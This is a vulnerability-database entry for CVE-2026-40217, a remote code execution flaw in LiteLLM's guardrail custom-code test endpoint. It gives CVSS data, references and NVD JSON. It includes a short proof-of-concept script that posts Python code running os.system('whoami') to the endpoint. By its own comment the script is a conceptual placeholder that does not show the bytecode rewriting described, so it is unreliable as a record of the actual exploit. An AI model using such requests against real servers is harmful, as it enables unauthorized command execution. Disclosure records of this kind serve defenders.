CVE-2026-40217

Description

LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:* - VULNERABLE

LiteLLM <= 2026-04-08

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual target)
target_url = "http://localhost:4000/guardrails/test_custom_code"

# Malicious payload demonstrating code execution via bytecode rewriting concept
# In a real exploit, this would be a crafted bytecode payload
payload = """
import os
# Example command execution
os.system('whoami')
"""

data = {
    "code": payload,
    "function_name": "test_guardrail"
}

try:
    response = requests.post(target_url, json=data)
    print(f"Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40217
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40217
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40217/
[4] VulDB https://vuldb.com/cve/CVE-2026-40217
[5] https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40217", "sourceIdentifier": "[email protected]", "published": "2026-04-10T14:16:36.307", "lastModified": "2026-04-27T23:00:47.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiteLLM through 2026-04-08 allows remote attackers to execute arbitrary code via bytecode rewriting at the /guardrails/test_custom_code URI."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-420"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-04-08", "matchCriteriaId": "1A3B5667-ED76-49FA-A4A7-5B9600843848"}]}]}], "references": [{"url": "https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}]}}